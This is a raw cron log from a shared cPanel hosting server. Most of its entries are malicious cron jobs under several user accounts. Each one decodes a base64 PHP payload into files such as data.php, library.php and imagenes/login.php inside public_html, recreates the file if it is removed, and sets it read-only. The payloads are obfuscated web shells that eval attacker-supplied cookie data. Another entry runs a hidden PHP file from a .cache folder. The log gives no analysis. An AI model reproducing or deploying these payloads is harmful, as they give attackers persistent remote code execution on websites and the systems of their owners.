Mar  1 10:50:01 medusa CROND[26582]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:50:01 medusa CROND[26583]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:50:01 medusa CROND[26585]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:50:01 medusa CROND[26586]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 10:50:01 medusa CROND[26571]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 10:50:01 medusa CROND[26580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:50:01 medusa CROND[26595]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:50:01 medusa CROND[26597]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:50:01 medusa CROND[26596]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 10:50:01 medusa CROND[26561]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 10:50:01 medusa CROND[26604]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 10:50:01 medusa CROND[26601]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 10:50:01 medusa CROND[26570]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:51:01 medusa CROND[16670]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:51:01 medusa CROND[16821]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 10:51:01 medusa CROND[16823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:51:01 medusa CROND[16824]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:51:01 medusa CROND[16825]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:51:01 medusa CROND[16826]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:51:01 medusa CROND[16827]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 10:51:01 medusa CROND[16828]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:51:01 medusa CROND[16831]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:51:01 medusa CROND[16832]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:51:01 medusa CROND[16833]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:51:01 medusa CROND[16834]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:51:01 medusa CROND[16835]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:51:01 medusa CROND[16822]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 10:51:01 medusa CROND[16837]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 10:52:01 medusa CROND[7485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:52:01 medusa CROND[7486]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:52:01 medusa CROND[7487]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:52:01 medusa CROND[7488]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:52:01 medusa CROND[7489]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:52:01 medusa CROND[7490]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:52:01 medusa CROND[7491]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
